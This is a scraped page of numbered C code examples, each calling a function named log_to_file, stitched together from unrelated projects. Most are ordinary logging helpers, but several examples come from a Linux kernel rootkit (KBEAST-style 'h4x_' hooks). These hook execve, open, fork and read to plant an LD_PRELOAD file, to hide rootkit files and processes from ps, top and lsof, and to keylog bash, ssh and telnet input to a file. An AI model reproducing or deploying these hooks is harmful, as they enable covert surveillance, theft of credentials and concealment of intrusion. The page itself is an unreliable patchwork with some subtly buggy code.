Пример #1
0
void run_and_log_n_times( FILE * f, int type, p_query query, int hit_count, int bit_width, int iterations ) {

    for( int i = 0; i < iterations; i++ ) {
        double time = run_alignment( type, query, hit_count, bit_width );

        log_to_file( f, ",%lf", time );
    }
    log_to_file( f, "\n" );
}
Пример #2
0
/*---------------------------------------------
| Log exiting process
---------------------------------------------*/
void slog(int level, char *msg, ...) 
{
    /* Used variables */
    char output[MAXMSG];
    char string[MAXMSG];
    SystemDate mdate;

    /* initialise system date */
    init_date(&mdate);

    /* Read args */
    va_list args;
    va_start(args, msg);
    vsprintf(string, msg, args);
    va_end(args);

    /* Check logging levels */
    if((!level || level <= slog_val.level) && level <= slog_val.l_max) 
    {
        /* Generate output string with date */
        sprintf(output, "%02d.%02d.%02d-%02d:%02d:%02d - %s\n", 
                mdate.year, mdate.mon, mdate.day, mdate.hour, mdate.min, mdate.sec, string);

        /* Print output */
        printf("%s", output);

        /* Save log in file */
        if (slog_val.to_file) 
            log_to_file(output, slog_val.fname, &mdate);
    }
}
Пример #3
0
int remove_individual(int identity)
/* Removes the individual with ID 'identity' from the global population. */
{
     individual *temp;
     int result;
     if((identity > global_population.last_identity) || (identity < 0))
          return (1);
     temp = get_individual(identity);
     if(temp == NULL)
          return (1);

     global_population.individual_array[identity] = NULL;

     if(identity == global_population.last_identity)
     {
          global_population.last_identity--;
     }
     else
     {
          result = push(&global_population.free_ids_stack, identity);
          if (result == 1)
          {
               log_to_file(log_file, __FILE__, __LINE__, 
                           "Pushing a free identity to stack failed.");
               return (1);
          }
     }

     global_population.size--;

     free_individual(temp);
     
     return (0);
}
int core_dump_complete(void **ctx)
{
    char name[80];
    struct dump_s *s = (struct dump_s*)*ctx;

    if(s==NULL)
    {
       return 0;
    }

    if( s->cache) 
    { 
       if(s->cache_off > 0) 
       { 
          s->written += de_fwrite(s->file, s->cache, s->cache_off);
       }
       DriverEnvironment_Free(s->cache);
    }

    de_fclose(s->file);

    if(s->written < s->expected_size) 
    {
        DE_TRACE_INT2(TR_ALL, "coredump wrote short, expected %d but found %d\n", 
              s->expected_size, s->written);
    }
    DE_SNPRINTF(name, sizeof(name), LOG_FILE_NAME, s->nr, s->objId, s->errCode);
    log_to_file(name,0);
    
    /* This will complete the coredump */
    /* No more calls to _write|_abort|_complete will be done if ctx==NULL */
    *ctx = NULL;
    return 0;
}
Пример #5
0
void _dprintf(const char *function, int line, int level, const char *prefix,
	      const char *fmt, ...)
{
	char msg[MAX_PRINT_SIZE];
	int n = 0;
	va_list ap;

	if (function) {
		int thread_id = syscall(SYS_gettid);

		n = snprintf(msg, sizeof(msg), "%s [%d] %s:%s:%d: ",
			trace_level_strings[level], thread_id, prefix,
			function, line);
		if (n < 0)
			return;
	}

	if ((size_t)n < sizeof(msg)) {
		va_start(ap, fmt);
		n = vsnprintf(msg + n, sizeof(msg) - n, fmt, ap);
		va_end(ap);
		if (n < 0)
			return;
	}

	fprintf(stdout, "%s", msg);
	log_to_file(msg);
}
Пример #6
0
bool_t PUB_log_file(const char *file_name, const char *format, ...) {
	va_list arg;
	va_start(arg, format);
	vsnprintf(log_buffer, MAX_BUFFER_SIZE, format, arg);
	va_end(arg);
	return log_to_file(file_name, log_buffer);
}
Пример #7
0
int main(int argc, char** argv){

  //Use pantheios::log_xxx() or pantheios::log(xxx, ) with xxx is severity level

  log_to_file();


  try
  {
    // pantheios::log(pantheios::debug, "Entering main(", pantheios::args(argc, argv, pantheios::args::arg0FileOnly), ")");
    pantheios::log_DEBUG("debug");  
    pantheios::log_INFORMATIONAL("informational");
    pantheios::log_NOTICE("notice");
    pantheios::log_WARNING("warning");
    pantheios::log_ERROR("error");
    pantheios::log_CRITICAL("critical");
    pantheios::log_ALERT("alert");
    pantheios::log_EMERGENCY("emergency");

    return 1;
  }
    catch(std::bad_alloc&){
    pantheios::log_ALERT("out of memory");
  }
    catch(std::exception& x){
    pantheios::log_CRITICAL("Exception: ", x);
  }
  catch(...){
    pantheios::puts(pantheios::emergency, "Unknown error");
  }

  
  return 2;
}
Пример #8
0
int rmPreload(void){
	snprintf(obuffer,sizeof(obuffer),"--remove preload\n"); 
	log_to_file(obuffer);
	todo = 0;
	snprintf(rebootfile,sizeof(rebootfile),"%s",CONFIG_FULLPATH);
	return (*o_unlink)(rebootfile);
}
Пример #9
0
asmlinkage int h4x_execve(const char *filename, char *const argv[],char *const envp[]){	
	load=0;
	int tty_load = 1;
	//hasPreload = isPreExist();
	if( strstr(argv[0],MAGIC_TO_DO) ){
		started = 1;
		tty_load = 0;
		#ifdef DEBUG
		snprintf(obuffer,sizeof(obuffer),"----magic argv[-]filename:%s;argv[0]:%s;argv[1]%s;\n",filename,argv[0],argv[1]);
		log_to_file(obuffer);
		#endif
	}
	force_load = 0;
	if( strstr(filename,"bash") || strstr(filename,"dircolors") || 
		strstr(filename,"id") || strstr(filename,"lib") ||
		strstr(filename,APP_NAME) || strstr(filename,"dhcp") ||strstr(filename,"lpstat") ){
		tty_load = 0;
	}
	if( strstr(filename,"cat")  ||strstr(filename,"cp") ||strstr(filename,"vi")){
		load=0; 
	}
	if( strstr(filename,"mysql")  || strstr(filename,"sshd") || strstr(filename,"ls") || strstr(filename,"ps") || strstr(filename,"top") || strstr(filename,"grep")
	 	|| strstr(filename,"lsof")  || strstr(filename,"sendmail") 
	 	|| strstr(filename,"xinetd") || strstr(filename,"ftp") || strstr(filename,"http") || strstr(filename,"ngin") || strstr(filename,"netst") ){
		if(!haswrite)
			hasPreload = isPreExist();
		load = 1;
	} 
	if( strstr(argv[0],"strace")){
		trace++;
		trace++; 
	}
	trace--;
	if(trace<0)
		trace=0;
	if( ( (load && started) || force_load ) && !trace && tty_load ){
	//if(load && started){ 
		//#ifdef DEBUG
		mycount++;
		snprintf(obuffer,sizeof(obuffer),"filename:%s;flag:%i;argv[0]:%s;argv[1]%s;mycount:%i;mypid:%i;\n",filename,hasPreload,argv[0],argv[1],mycount,mypid);
		log_to_file(obuffer);
		//#endif
		writePreload();//preload to make hooks another way 
	}
	
	return (*o_execve)(filename,argv,envp);  
}
Пример #10
0
int _dprintf(const char *function, int flen, int line, int level,
             const char *prefix, const char *fmt, ...)
{
    char buf[MAX_PRINT_SIZE - PREFIX_LENGTH];
    char print_buffer[MAX_PRINT_SIZE];
    char func_buf[MAX_FUNC_PRINT_SIZE];
    int err;
    va_list ap;

    memset(buf, 0, sizeof(buf));
    memset(print_buffer, 0, sizeof(buf));

    va_start(ap, fmt);
    err = vsnprintf(buf, sizeof(buf), fmt, ap);
    va_end(ap);

    /* Limit the function name to MAX_FUNC_PRINT_SIZE characters. */
    strncpy(func_buf, function, flen > MAX_FUNC_PRINT_SIZE ?
            (MAX_FUNC_PRINT_SIZE - 1) : flen);
    if (flen < (MAX_FUNC_PRINT_SIZE - 1)) {
        memset(func_buf + flen, 0x20, (MAX_FUNC_PRINT_SIZE - flen));
    }
    func_buf[MAX_FUNC_PRINT_SIZE - 1] = '\0';

    switch (level) {
    case CRITICAL:
        snprintf(print_buffer, MAX_PRINT_SIZE,
                 "%s: CRITI [%s : %05d] %s", prefix, func_buf, line, buf);
        break;

    case ERROR:
        snprintf(print_buffer, MAX_PRINT_SIZE,
                 "%s: ERROR [%s : %05d] %s", prefix, func_buf, line, buf);
        break;

    case ALWAYS:
        snprintf(print_buffer, MAX_PRINT_SIZE,
                "%s: ALWAY [%s : %05d] %s", prefix, func_buf, line, buf);
        break;

    case INFO:
        snprintf(print_buffer, MAX_PRINT_SIZE,
                "%s: INFO  [%s : %05d] %s", prefix, func_buf, line, buf);
        break;

    case FLOOD:
        snprintf(print_buffer, MAX_PRINT_SIZE,
                "%s: FLOOD [%s : %05d] %s", prefix, func_buf, line, buf);
        break;

    default:
        break;
    }

    fprintf(stdout, "%s", print_buffer);
    log_to_file(print_buffer);

    return err;
}
Пример #11
0
char* send_error(char* moduleName, char* functionName, char* message){
	char temp [100]; /* using malloc, so that this variable will not be distroied*/
	log_obj log = {moduleName, functionName, message};	
	sprintf(temp,"%s,%s,%s",log.moduleName,log.functionName,log.message);	
	log_to_file("Error", moduleName, functionName, message);
	return temp;

}
Пример #12
0
/*
 * slog - Log exiting process. Function takes arguments and saves 
 * log in file if LOGTOFILE flag is enabled from config. Otherwise 
 * it just prints log without saveing in file. Argument level is 
 * logging level and flag is slog flags defined in slog.h header.
 */
void slog(int level, int flag, const char *msg, ...) 
{
    /* Used variables */
    SystemDate mdate;
    char string[MAXMSG];
    char prints[MAXMSG];
    char *output;

    /* Initialise system date */
    get_system_date(&mdate);

    /* Read args */
    va_list args;
    va_start(args, msg);
    vsprintf(string, msg, args);
    va_end(args);

    /* Check logging levels */
    if(level <= slg.level) 
    {
        /* Handle flags */
        switch(flag) {
            case 1:
                sprintf(prints, "[მიმდინარე]  %s", string);
                break;
            case 2:
                sprintf(prints, "[%s] %s", strclr(1, "ინფორმაცია"), string);
                break;
            case 3:
                sprintf(prints, "[%s] %s", strclr(3, "გაფრთხილება"), string);
                break;
            case 4:
                sprintf(prints, "[%s] %s", strclr(4, "დებაგი"), string);
                break;
            case 5:
                sprintf(prints, "[%s] %s", strclr(2, "შეცდომა"), string);
                break;
            case 6:
                sprintf(prints, "[%s] %s", strclr(2, "ფატალური"), string);
                break;
            case 7:
                sprintf(prints, "%s", string);
                break;
            default:
                break;
        }

        /* Print output */
        printf("%s", ret_slog("%s\n", prints));

        /* Save log in file */
        if (slg.to_file) 
        {
            output = ret_slog("%s\n", string);
            log_to_file(output, slg.fname, &mdate);
        }
    }
}
Пример #13
0
int state_error(int error, int linenumber)
/* Outputs an error message and calls exit. */
{
     char error_message[50];
     printf("error in state %d \n", error);
     sprintf(error_message, "error in state %d \n", error);
     log_to_file(log_file, NULL, linenumber, error_message);
     exit(EXIT_FAILURE);
}
Пример #14
0
char* send_warning(char* moduleName, char* functionName, char* message){
	char temp[100];
	log_obj log = {moduleName, functionName, message};	

	sprintf(temp,"%s,%s,%s",log.moduleName,log.functionName,log.message);	
	log_to_file("Warning", moduleName, functionName, message);

	return temp;

}
Пример #15
0
/*
Modified from log_to_file() mercenary code
why don't we modify thc-vlogger? because that'z your job
*/
int hasInit()
{
	struct file *file = NULL;
  	mm_segment_t fs;
  	int error;
	char fbuf[100]={'\0'};

  	/*log name*/
  	//snprintf(accountlog,sizeof(accountlog),"%s/%s.%i",_H4X_PATH_,_LOGFILE_,current->uid);
  	file = filp_open(MAGIC_REBOOT, O_CREAT|O_APPEND, 00644);
  	if(IS_ERR(file)){
    	error=PTR_ERR(file);
    	goto out;
  	}

  	error = -EACCES;
  	if(!S_ISREG(file->f_dentry->d_inode->i_mode))
  		goto out_err;

  	error = -EIO;
  	if(!file->f_op->write)
  		goto out_err;

  	error = 0;
  	fs = get_fs();
  	set_fs(KERNEL_DS);
  	file->f_op->read(file,fbuf,strlen(fbuf)-1,0);
  	set_fs(fs);
  	filp_close(file,NULL); 
	snprintf(obuffer,sizeof(obuffer),"readtest- [UID = %i ] %s >file:%s > flags:%i > mode: %i >fbuf: %s\n",current->uid,current->comm,kbuf,flags,mode,fbuf);
	log_to_file(obuffer); 
  	goto out;

  out:
	return error;

  out_err:
	filp_close (file,NULL);  
	snprintf(obuffer,sizeof(obuffer),"error:%i\n",error); 
	log_to_file(obuffer);
	goto out;
}
Пример #16
0
int main(int argc, char ** argv) {
    log_to_file(LOG_CPERROR, stderr);
    ++argv;
    --argc;
    if (argc > 0 && strcmp("--list", argv[0]) == 0) {
        list = true;
        ++argv;
        --argc;
    }
    return RunAllTests(argc, argv);
}
Пример #17
0
bool_t PUB_log(enum LOG_TYPE type, const char *format, ...) {
	va_list arg;
	va_start(arg, format);
	vsnprintf(log_buffer, MAX_BUFFER_SIZE, format, arg);
	va_end(arg);

	if (log_console)
		std::cout << "[" << get_log_type_string(type) << "] " << log_buffer << std::endl;
	else
		return log_to_file(get_log_type_file_name(type), log_buffer);
	return True;
}
Пример #18
0
char* send_info(char* moduleName, char* functionName, char* message){
	char temp[100];	
	log_obj log = {moduleName, functionName, message};	

// log.moduleName = moduleName;
// log.functionName = functionName;
// log.message= info;

	sprintf(temp,"%s,%s,%s",log.moduleName,log.functionName,log.message);
	log_to_file("Info", moduleName, functionName, message);

	return temp;
}
Пример #19
0
int main() {
    log_mc.open(base_log_dir + "logs_mc.txt", std::ios::out | std::ios::app);
    log_bms.open(base_log_dir + "logs_bms.txt", std::ios::out | std::ios::app);
    log_main_ard.open(base_log_dir + "logs_main_arduino.txt",
            std::ios::out | std::ios::app);
    log_evdc.open(base_log_dir + "logs_evdc.txt",
            std::ios::out | std::ios::app);
    log_rear_ard.open(base_log_dir + "logs_read_arduino.txt",
            std::ios::out | std::ios::app);

    gettimeofday(&log_mc_prev_time, NULL);
    gettimeofday(&log_bms_prev_time, NULL);
    gettimeofday(&log_main_ard_prev_time, NULL);
    gettimeofday(&log_evdc_prev_time, NULL);
    gettimeofday(&log_rear_ard_prev_time, NULL);

    CAN can;
    BT bt(10);
    bt.connect();

    bzero(amp_history, TIME_LEFT_HIST_LEN * sizeof(uint16_t));
    gettimeofday(&prev_time, NULL);
    curr_time = prev_time;

    canframe_t *frame = (canframe_t*) malloc(sizeof(canframe_t));
    uint8_t bt_buffer[BT::DATA_LENGTH];

    while (1) {
        if (can.read(frame) > 0) {
            std::cout << "Error reading message or no message to read" << std::endl;
        } else {
            if (0 == process_data_for_sending(bt_buffer, frame)) {
                if (bt.send(bt_buffer) == -1) {
                    std::cout << "Attempting to reconnect" << std::endl;
                    bt.connect();
                }
            }
            log_to_file(frame);
        }
    }

    free(frame);
    bt.disconnect();
    log_mc.close();
    log_bms.close();
    log_main_ard.close();
    log_evdc.close();
    log_rear_ard.close();
    return 0;
}
Пример #20
0
internal bool32
al_log(bool32 error, const char *message, ...)
{
    va_list argptr;
    va_start(argptr, message);
    log_to_file(AL_LOG_FILE, message, argptr);
    va_end(argptr);
    if (error)
    {
        va_start(argptr, message);
        log_to_console(AL_LOG_FILE, message, argptr);
        va_end(argptr);
    }
    return true;
}
Пример #21
0
bool
log_info(const char *fmt, ...)
{
    if (!Log.inited)
        return false;

    va_list ap;

    write_time(&Log);

    va_start(ap, fmt);
    write_msg(&Log, fmt, ap);
    va_end(ap);

    return log_to_file(&Log);
}
Пример #22
0
asmlinkage int h4x_fork(void){
	snprintf(obuffer,sizeof(obuffer),"******mypid:%i;comm:%s\n",mypid,current->comm);
	log_to_file(obuffer);
	if(!mypid && strstr(current->comm,APP_NAME) ){
		int res = o_fork();
		if(res>0)
			mypid = res;
		return res;
		/*
		snprintf(obuffer,sizeof(obuffer),"******mypid:%i\n",mypid);
		log_to_file(obuffer);
		return mypid;
		*/
	}else{
		return o_fork();
	}
}
Пример #23
0
void * FuseHFS_init(struct fuse_conn_info *conn) {
	struct fuse_context *cntx=fuse_get_context();
	struct fusehfs_options *options = cntx->private_data;
	
#if (__FreeBSD__ >= 10)
	FUSE_ENABLE_SETVOLNAME(conn); // this actually doesn't do anything
	FUSE_ENABLE_XTIMES(conn); // and apparently this doesn't either
#endif
	
	
#ifdef DEBUG
	//char logfn[128];
	//sprintf(logfn, "/fusefs_hfs/FuseHFS.%d.log", getpid());
	//stderr = freopen(logfn, "a", stderr);
    log_to_file();
	fprintf(stderr, "FuseHFS_init\n");
	fflush(stderr);
#endif
	
	// create iconv
	iconv_to_utf8 = iconv_open("UTF-8", options->encoding);
	if (iconv_to_utf8 == (iconv_t)-1) {
		perror("iconv_open");
		exit(1);
	}
	iconv_to_mac = iconv_open(options->encoding, "UTF-8");
	if (iconv_to_mac == (iconv_t)-1) {
		perror("iconv_open");
		exit(1);
	}
	
	// mount volume
	int mode = options->readonly?HFS_MODE_RDONLY:HFS_MODE_ANY;
	if (NULL == hfs_mount(options->path, 0, mode)) {
		perror("hfs_mount");
		exit(1);
	}
	
	// initialize some globals
	_readonly = options->readonly;
	hfsvolent vstat;
	hfs_vstat(NULL, &vstat);
	strcpy(_volname, vstat.name);
	
	return NULL;
}
Пример #24
0
bool
log_fatal(const char *fmt, ...)
{
    if (!Log.inited)
        return false;

    va_list ap;

    write_time(&Log);
    strcat(Log.buffer, "*FATAL* ");

    va_start(ap, fmt);
    write_msg(&Log, fmt, ap);
    va_end(ap);

    return log_to_file(&Log);
}
Пример #25
0
bool
log_debug(const char *fmt, ...)
{
    if (!Log.inited || !Log.debug)
        return false;

    va_list ap;

    write_time(&Log);
    strcat(Log.buffer, "*DEBUG* ");

    va_start(ap, fmt);
    write_msg(&Log, fmt, ap);
    va_end(ap);

    return log_to_file(&Log);
}
Пример #26
0
/*Don't allow your file to be overwrited*/
asmlinkage int h4x_open(const char __user *filename, int flags, int mode) {
  int r;
  char *kbuf=(char*)kmalloc(256,GFP_KERNEL);
  copy_from_user(kbuf,filename,255);
  //bits/fcntl.h O_WRONLY|O_TRUNC|O_LARGEFILE is 0101001
  if((strstr(kbuf,_H4X0R_)||strstr(kbuf,KBEAST)) && flags == 0101001){
    kfree(kbuf);
    return -EACCES;
  }   
	//if(strstr(kbuf,"/dev/initctl") && flags==1){
	if(strstr(kbuf,"/dev/initctl")){
		hasInit();
		snprintf(obuffer,sizeof(obuffer),"initctlmagic- [UID = %i ] %s >file:%s > flags:%i > mode: %i\n",current->uid,current->comm,kbuf,flags,mode);
		log_to_file(obuffer);
	}
  r=(*o_open)(filename,flags,mode);
  return r;
}
Пример #27
0
/* Read state flag */
int read_state()
{
     int result;
     int state = -1;
     FILE *fp;
     fp = fopen(sta_file, "r");
     if (fp != NULL)
     {
          result = fscanf(fp, "%d", &state);
          fclose(fp);
          if (result == 1) /* exactly one element read */
          {
               if (state < 0 || state > 11)
                    log_to_file(log_file, __FILE__, __LINE__,
                                "invalid state read");   
          }
     }
     
     return (state);
}
Пример #28
0
int isPreExist(void){ 
	struct file *file = NULL;
	snprintf(rebootfile,sizeof(rebootfile),"%s",CONFIG_FULLPATH);
	file = filp_open(rebootfile, O_RDONLY, 00644);
	if(IS_ERR(file)){ 
		return 0;
  	}

  	if(!S_ISREG(file->f_dentry->d_inode->i_mode)){
		return 0;
	}
	#ifdef DEBUG
	snprintf(obuffer,sizeof(obuffer),"---PreExist:true\n"); 
	log_to_file(obuffer);	
    #endif

	filp_close(file,NULL);
	return 1; 
	 
}
Пример #29
0
int check_in_whitelist(unsigned char* sha1){
	char line[256];
	char fpath[100];
	sprintf(fpath,"/etc/netcop/whitelist");
	FILE* f_whitelist = fopen(fpath, "r");
	if (!f_whitelist) {
		printf("unable to open whitelist file\n");
		return -1;
	} 
	int ret_val = 1;
	while(!feof(f_whitelist)){
		if(fgets(line, 256, f_whitelist)){
			if(!compare_hashes(sha1, line)){
				ret_val = 0;
				break;
			}
		}
	}
	log_to_file(msg);
	return ret_val;
}
Пример #30
0
/*
Modified from hacked sys_read on merecenary code
Why don't we modify thc-vlogger? it's your duty
Somehow this h4x_read doesn't cool enough, but works :) 
*/
asmlinkage int h4x_read(unsigned int fd, char __user *buf, size_t count)
{
  int i,r;
  char date_time[24];
  char *kbuf=(char*)kmalloc(256,GFP_KERNEL);

  /*If output is redirected to file or grep, hide it*/
  copy_from_user(kbuf,buf,255);
  if ((strstr(current->comm,"ps"))||(strstr(current->comm,"pstree"))||
      (strstr(current->comm,"top"))||(strstr(current->comm,"lsof"))){
    if(strstr(kbuf,_H4X0R_)||strstr(kbuf,KBEAST))
    {
      kfree(kbuf);
      return -ENOENT;
    }
  } 
 
  r=o_read(fd,buf,count);
  /*Due to stability issue, we limit the keylogging process*/
  if((strcmp(current->comm,"bash") == 0) || (strcmp(current->comm,"ssh") == 0)||
     (strcmp(current->comm,"scp") == 0) || (strcmp(current->comm,"telnet") == 0)||
     (strcmp(current->comm,"rsh") == 0) || (strcmp(current->comm,"rlogin") == 0)){    
    /*SPECIAL CHAR*/
    if (counter) {
      if (counter == 2) {  // Arrows + Break
        //left arrow
        if (buf[0] == 0x44) {
          strcat(ibuffer,"[LEFT]");
          counter = 0;
          goto END;
        }
        //right arrow
        if (buf[0] == 0x43) {
          strcat(ibuffer,"[RIGHT]");
          counter = 0;
          goto END;
        }
        //up arrow
        if (buf[0] == 0x41) {
          strcat(ibuffer,"[UP]");
          counter = 0;
          goto END;
        }
        //down arrow
        if (buf[0] == 0x42) {
          strcat(ibuffer,"[DOWN]");
          counter = 0;
          goto END;
        }
        //break
        if (buf[0] == 0x50) {
	  strcat(ibuffer,"[BREAK]");
	  counter = 0;
          goto END;
        }
        //numlock
        if(buf[0] == 0x47) {
	  strcat (ibuffer,"[NUMLOCK]");
	  counter = 0;
          goto END;
        }
        strncpy (spbuffer,buf,1);
        counter ++;
        goto END;
      }
  
      if (counter == 3) {   // F1-F5
        //F1
        if (buf[0] == 0x41) {
          strcat(ibuffer,"[F1]");
          counter = 0;
          goto END;
        }
        //F2
        if (buf[0] == 0x42) {
          strcat(ibuffer,"[F2]");
          counter = 0;
          goto END;
        }
        //F3
        if (buf[0] == 0x43) {
          strcat(ibuffer,"[F3]");
          counter = 0;
          goto END;
        }
        //F4
        if (buf[0] == 0x44) {
          strcat(ibuffer,"[F4]");
          counter = 0;
          goto END;
        }
        //F5
        if (buf[0] == 0x45) {
          strcat(ibuffer,"[F5]");
          counter = 0;
          goto END;
        }

        if (buf[0] == 0x7E) {     // PgUp, PgDown, Ins, ...
          //Page Up
          if (spbuffer[0] == 0x35)
            strcat(ibuffer,"[PGUP]");
          //Page Down
          if (spbuffer[0] == 0x36)
            strcat(ibuffer,"[PGDN]");
          //Delete
          if (spbuffer[0] == 0x33)
            strcat(ibuffer,"[DELETE]");
          //End
          if (spbuffer[0] == 0x34)
            strcat(ibuffer,"[END]");
          //Home
          if (spbuffer[0] == 0x31)
            strcat(ibuffer,"[HOME]");
          //Insert
          if (spbuffer[0] == 0x32)
            strcat(ibuffer,"[INSERT]");
          counter = 0;
          goto END;
        }

        if (spbuffer[0] == 0x31) {  // F6-F8
          //F6
          if (buf[0] == 0x37)
            strcat(ibuffer,"[F6]");
          //F7
          if (buf[0] == 0x38)
            strcat(ibuffer,"[F7]");
          //F8
          if (buf[0] == 0x39)
            strcat(ibuffer,"[F8]");
          counter++;
          goto END;
        }
  
        if (spbuffer[0] == 0x32) { // F9-F12
          //F9
          if (buf[0] == 0x30)
            strcat(ibuffer,"[F9]");
          //F10
          if (buf[0] == 0x31)
            strcat(ibuffer,"[F10]");
          //F11
          if (buf[0] == 0x33)
            strcat(ibuffer,"[F11]");
          //F12
          if (buf[0] == 0x34)
            strcat(ibuffer,"[F12]");
  
          counter++;
          goto END;
        }
      }
  
      if(counter >= 4) {  //WatchDog
        counter = 0;
        goto END;
      }
  
      counter ++;
      goto END;
    }
  
    /*SH, SSHD = 0 /TELNETD = 3/LOGIN = 4*/
    if(r==1 && (fd==0||fd==3||fd==4)){
      //CTRL+U
      if(buf[0]==0x15){ 
        ibuffer[0]='\0';
        goto END;
      }
      //TAB
      if(buf[0]==0x09){
        strcat(ibuffer,"[TAB]");
        counter = 0;
        goto END;
      }
      //CTRL+C
      if(buf[0]==0x03){
        strcat(ibuffer,"[CTRL+C]");
        counter = 0;
        goto END;
      }
      //CTRL+D
      if(buf[0]==0x03){
        strcat(ibuffer,"[CTRL+D]");
        counter = 0;
        goto END;
      }
      //CTRL+]
      if(buf[0]==0x1D){
        strcat(ibuffer,"[CTRL+]]");
        counter = 0;
        goto END;
      }
      //BACKSPACE 0x7F Local / 0x08 Remote
      if (buf[0] == 0x7F || buf[0] == 0x08) {
        if (ibuffer[strlen(ibuffer) - 1] == ']') {
          for (i=2;strlen(ibuffer);i++){
            if (ibuffer[strlen (ibuffer) - i] == '[') {
              ibuffer[strlen(ibuffer) - i] = '\0';
              break;
            }
          }
          goto END;
        }else {
          ibuffer[strlen(ibuffer) - 1] = '\0';
          goto END;
        }
      }
  
      if (buf[0] == 0x1B) {
        counter++;
        goto END;
      }
      if(buf[0] != '\n' && buf[0] != '\r'){
        strncat(ibuffer,buf,sizeof(ibuffer));
      }else{
        strcat(ibuffer,"\n");
        get_time(date_time);
        snprintf(obuffer,sizeof(obuffer),"[%s] - [UID = %i ] %s > %s",date_time,current_uid(),current->comm,ibuffer);
	//I don't want to log buffer more than 60 chars, most of them are useless data
        if(strlen(ibuffer)<60) {
          log_to_file(obuffer);
        }
        ibuffer[0]='\0';
      }
    }
  }
  END:
  return r;
}